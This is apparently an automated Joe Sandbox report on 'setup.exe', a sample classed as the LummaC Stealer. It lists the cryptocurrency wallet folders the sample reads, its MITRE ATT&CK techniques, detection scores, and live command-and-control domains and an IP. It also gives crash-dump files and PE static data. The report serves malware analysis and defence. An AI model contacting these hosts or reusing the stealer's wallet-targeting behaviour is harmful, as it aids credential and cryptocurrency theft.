Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5592, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	12 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
setup.exe	82%	ReversingLabs	Win32.Spyware.Lummastealer
setup.exe	80%	Virustotal		Browse
setup.exe	100%	Avira	HEUR/AGEN.1317017
setup.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
backcreammykiel.shop	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://backcreammykiel.shop/D	100%	Avira URL Cloud	malware
marathonbeedksow.shop	100%	Avira URL Cloud	malware
justifycanddidatewd.shop	0%	Avira URL Cloud	safe
https://backcreammykiel.shop:443/apiCLSID	100%	Avira URL Cloud	malware
https://backcreammykiel.shop/api	100%	Avira URL Cloud	malware
pleasurenarrowsdla.shop	0%	Avira URL Cloud	safe
marathonbeedksow.shop	15%	Virustotal		Browse
feighminoritsjda.shop	100%	Avira URL Cloud	malware
richardflorespoew.shop	0%	Avira URL Cloud	safe
https://backcreammykiel.shop/api7	100%	Avira URL Cloud	malware
https://backcreammykiel.shop/api	17%	Virustotal		Browse
justifycanddidatewd.shop	14%	Virustotal		Browse
strwawrunnygjwu.shop	0%	Avira URL Cloud	safe
pleasurenarrowsdla.shop	14%	Virustotal		Browse
falseaudiencekd.shop	0%	Avira URL Cloud	safe
raiseboltskdlwpow.shop	0%	Avira URL Cloud	safe
richardflorespoew.shop	15%	Virustotal		Browse
https://backcreammykiel.shop/apis	100%	Avira URL Cloud	malware
backcreammykiel.shop	100%	Avira URL Cloud	malware
https://backcreammykiel.shop/	100%	Avira URL Cloud	malware
falseaudiencekd.shop	14%	Virustotal		Browse
feighminoritsjda.shop	13%	Virustotal		Browse
https://backcreammykiel.shop/apiXEpq	100%	Avira URL Cloud	malware
backcreammykiel.shop	8%	Virustotal		Browse
strwawrunnygjwu.shop	14%	Virustotal		Browse
https://backcreammykiel.shop/	0%	Virustotal		Browse
raiseboltskdlwpow.shop	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
backcreammykiel.shop	104.21.90.18	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://backcreammykiel.shop/api	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
justifycanddidatewd.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
marathonbeedksow.shop	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
pleasurenarrowsdla.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
feighminoritsjda.shop	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
richardflorespoew.shop	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
strwawrunnygjwu.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
falseaudiencekd.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
raiseboltskdlwpow.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
backcreammykiel.shop	true	8%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://backcreammykiel.shop/D	RegAsm.exe, 00000001.00000002.2116693231.0000000003820000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://backcreammykiel.shop:443/apiCLSID	RegAsm.exe, 00000001.00000002.2116480868.000000000168C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://backcreammykiel.shop/api7	RegAsm.exe, 00000001.00000002.2116197394.0000000001613000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://backcreammykiel.shop/apis	RegAsm.exe, 00000001.00000002.2116436680.000000000167D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://backcreammykiel.shop/	RegAsm.exe, 00000001.00000002.2116693231.0000000003820000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2116139844.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://backcreammykiel.shop/apiXEpq	RegAsm.exe, 00000001.00000002.2116436680.000000000167D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.90.18	backcreammykiel.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1461307
Start date and time:	2024-06-23 18:48:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 35 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:48:55	API Interceptor	7x Sleep call for process: RegAsm.exe modified
12:49:11	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.90.18	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse
104.21.90.18	GlobalCheats.exe	Get hash	malicious	LummaC, MicroClip	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
backcreammykiel.shop	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse	104.21.90.18
backcreammykiel.shop	GlobalCheats.exe	Get hash	malicious	LummaC, MicroClip	Browse	104.21.90.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	FieroHack.exe	Get hash	malicious	LummaC, Xmrig	Browse	104.21.49.90
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.89.170
	Extreme injector.exe	Get hash	malicious	LummaC	Browse	104.21.49.90
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse	104.26.3.16
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse	104.26.3.16
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	188.114.97.3
	qEGv2vQa9X.elf	Get hash	malicious	Mirai	Browse	1.14.29.35
	zQ35ev2Uw0.elf	Get hash	malicious	Mirai	Browse	1.14.29.22
	3jeKnZMljk.elf	Get hash	malicious	Mirai	Browse	1.4.15.178

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.90.18
	FieroHack.exe	Get hash	malicious	LummaC, Xmrig	Browse	104.21.90.18
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	Extreme injector.exe	Get hash	malicious	LummaC	Browse	104.21.90.18
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse	104.21.90.18
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse	104.21.90.18
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	104.21.90.18
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.21.90.18
	abc.docx	Get hash	malicious	Unknown	Browse	104.21.90.18
	bFZYRLnRIz.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer	Browse	104.21.90.18

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_setup.exe_unknow_8464e4fd7a473682826b889ee6ebc9a041806666_fb4ad30c_1e34bb94-6c1a-4e68-a2c4-14aed3266004\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9032313793430391
Encrypted:	false
SSDEEP:	96:nmF67JPs1hqy1yDfRgBQXIDcQvc6QcEVcw3cE/n+HbHg/1AnQECaVDPCoLnNfoUa:maJPjh0BU/gjICBqzuiF5Z24IO8z6
MD5:	23B5BB885BDA0507143F7895134D3731
SHA1:	488FE61BAE9B1A5250C4908354077EDF4AD35210
SHA-256:	B5D19A91DBD77E6349553A68018A17D82EBD5BFDDF7833E114474812CF74B85B
SHA-512:	421877024027D2E79CCC653711C3EDA21EF2E4A5AA40E5BFA3BDCD0BB1C8FF1981B477DFF5F0198A2CBD72AB3D577803DDD796D985C9910AED606777A8C15565
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.6.3.4.9.3.4.6.7.1.5.5.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.6.3.4.9.3.5.0.6.2.1.7.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.3.4.b.b.9.4.-.6.c.1.a.-.4.e.6.8.-.a.2.c.4.-.1.4.a.e.d.3.2.6.6.0.0.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.3.0.0.c.4.2.-.8.1.a.5.-.4.b.2.b.-.b.9.6.3.-.b.e.b.6.1.f.c.a.2.a.5.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.e.t.u.p...e.x.e._.u.n.k.n.o.w.n.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.5.8.-.0.0.0.1.-.0.0.1.4.-.2.d.1.a.-.8.c.3.b.8.d.c.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.6.6.e.3.a.f.a.d.a.5.8.7.7.4.c.1.3.7.3.d.f.b.1.9.a.0.8.c.0.4.9.0.0.0.0.f.f.f.f.!.0.0.0.0.2.c.7.6.9.1.7.9.5.b.4.3.1.3.7.0.4.b.7.9.c.3.d.f.e.7.0.b.9.5.6.e.8.4.b.4.5.a.1.1.!.s.e.t.u.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER66C9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Jun 23 16:48:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	38028
Entropy (8bit):	2.1530547977226298
Encrypted:	false
SSDEEP:	192:pnicXW1Xyt/sPOYs3SaVDsS/I46enGAd/i:hiPYpL3SaRsS/I466i
MD5:	D066339690A2E8BC7A0D0D937C68BB87
SHA1:	7CED279E83AC991BD4BBC0551EFBB258F10CFB76
SHA-256:	D5F152C31078816C30C187CF1D5B100D842A89B804663D5ADD4F962C34836076
SHA-512:	CE9F423551D84D9C39C3828637A38C3713D719CBEA45F173C4D525CF33029E1F87414D8BCFEC30EE982685C86AA56DA0862585AE25551C0EB192AEBF7F0A61D2
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........Qxf............d...............l...........2*..........T.......8...........T................x..........l...........X...............................................................................eJ..............GenuineIntel............T.......X....Qxf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67A5.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	3.6925507388227663
Encrypted:	false
SSDEEP:	192:R6l7wVeJSw6k6YEIYSU9uikgmfPdJDApr089bLosf2A5m:R6lXJ96k6YEnSU9uZgmfPdJDkLbfI
MD5:	05F4B69D713933F6449960C67803B6C8
SHA1:	EBA522DAAA32AD60DC494D8D4C4B345FA991938D
SHA-256:	D3BC6DC8EEC9BE6FB503A1557E6FC8A9262339EEE5C5AB008E7052384275BE92
SHA-512:	AEA6AD4B85E6BC5FCD639D51ACAABC37FA57C19DB9C819B78593E03FACECDA00D9A3B9E9616512AF3E6E0AFAA462A6647F328AB4CC2BC896E143624BF53EA2FB
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67E5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4584
Entropy (8bit):	4.4472178756200496
Encrypted:	false
SSDEEP:	48:cvIwWl8zsPJg77aI98fWpW8VYjYm8M4JSddiFH+q8RuMyeX/VIkd:uIjfxI7OO7VnJSduiTyeX/VIkd
MD5:	1083C895A7B00D3AB37C92ECB07C9EC8
SHA1:	A5B49CB282B87C99C03A6CFBEAA097342B228DE6
SHA-256:	9283360ACA7ED28E032B2D67F6F93DB9975F401574B3F921040EF1CD4DFCB04D
SHA-512:	BD6AFEC5715D7AE26947F29AD320F4CF7C1670D20EFC95628975ED765D79D8A86AF02646A7E9654697E1566234FD632EFFED678A90C897EB37D377DCE83914D2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="380631" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421334784014075
Encrypted:	false
SSDEEP:	6144:GSvfpi6ceLP/9skLmb0OTgWSPHaJG8nAgeMZMMhA2fX4WABlEnNG0uhiTw:lvloTgW+EZMM6DFy003w
MD5:	1F55EA4B06E8FB477BA58C946BF2C5F5
SHA1:	5760A672F53A0F3255249F1D1640B47F7A49433B
SHA-256:	2439BD4E7340EAD3B3BB4EBF3118698A28EEAB462CA644A134B04A67A255C34B
SHA-512:	B269F4F9B36073F0693A684E12E91CE0359E3F8E92AFB0C2B7651D3425BA3F4F8E145FA9F24C0A8E8F12BD3BDCBF505E34C4CFEFAB1E0E1F3CF71F0535FD2172
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...;................................................................................................................................................................................................................................................................................................................................................!...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.606039017653037
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	536'576 bytes
MD5:	864fb28b0001b98ddd896dbdc604db30
SHA1:	2c7691795b4313704b79c3dfe70b956e84b45a11
SHA256:	5de143343cc0a2b03f076de338308ac58eda529f6814a2e2266531d8ae09fbb0
SHA512:	a7bec87ea630cbcfb28770bda372ebb7435f753caf6b8255c06d546f11a56c60018ad75f16938d50bb88749b2a2be970c9a9708455b65e5619dc4acae5be1317
SSDEEP:	12288:cckdVi3+T/Tvm4YqTwEa+1mieYTAk+tvC4hV8vTuNnlv:ccoNT/laKmu6K5vTuNl
TLSH:	CAB4E041B4C08032D5A2157305B5D7B55A7EB9714FA19ACFA3D00EBECF302D2EB3696A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]../]../]../....L../......./....K../.S..O../.S..H../....T../]../.../.S...../.P..\../.P..\../Rich]../................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40b7e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66716A0D [Tue Jun 18 11:05:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	99046e3afc60e2ca10c62342349ab573

Entrypoint Preview

Instruction
call 00007F5B75051D87h
jmp 00007F5B7505143Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F5B750515DBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F5B750515CCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F5B750515CEh
add edx, 28h
cmp edx, esi
jne 00007F5B750515ACh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F5B750515BBh
push esi
call 00007F5B7505208Dh
test eax, eax
je 00007F5B750515E2h
mov eax, dword ptr fs:[00000018h]
mov esi, 00482C54h
mov edx, dword ptr [eax+04h]
jmp 00007F5B750515C6h
cmp edx, eax
je 00007F5B750515D2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F5B750515B2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F5B750515C9h
mov byte ptr [00482C58h], 00000001h
call 00007F5B75051883h
call 00007F5B750546D0h
test al, al
jne 00007F5B750515C6h
xor al, al
pop ebp
ret
call 00007F5B750611B0h
test al, al
jne 00007F5B750515CCh
push 00000000h
call 00007F5B750546D7h
pop ecx
jmp 00007F5B750515ABh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00482C59h], 00000000h
je 00007F5B750515C6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36c1c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x84000	0x1ff0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x34ba8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x34ae8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c000	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2ae80	0x2b000	4cef04bfd6a856d676a20168b55991fa	False	0.5568790879360465	data	6.6415730792011125	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0xb35e	0xb400	64ea1ad55f0f2be727280d496192c7f3	False	0.42172309027777777	OpenPGP Public Key Version 3	5.02587358743008	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x38000	0x4b868	0x4a800	f2ad39b2f7442e6a0b387d840c7ba732	False	0.9861282246224832	data	7.988107939711677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x84000	0x1ff0	0x2000	c10142443bcc2b196f0abb39f4271c62	False	0.7646484375	data	6.557127630374172	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

ADVAPI32.dll

GetNumberOfEventLogRecords

KERNEL32.dll

CreateFileW, HeapSize, WriteConsoleW, CloseHandle, WaitForSingleObject, CreateThread, VirtualAlloc, GetCurrentThreadId, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetProcessHeap, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetModuleHandleExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, 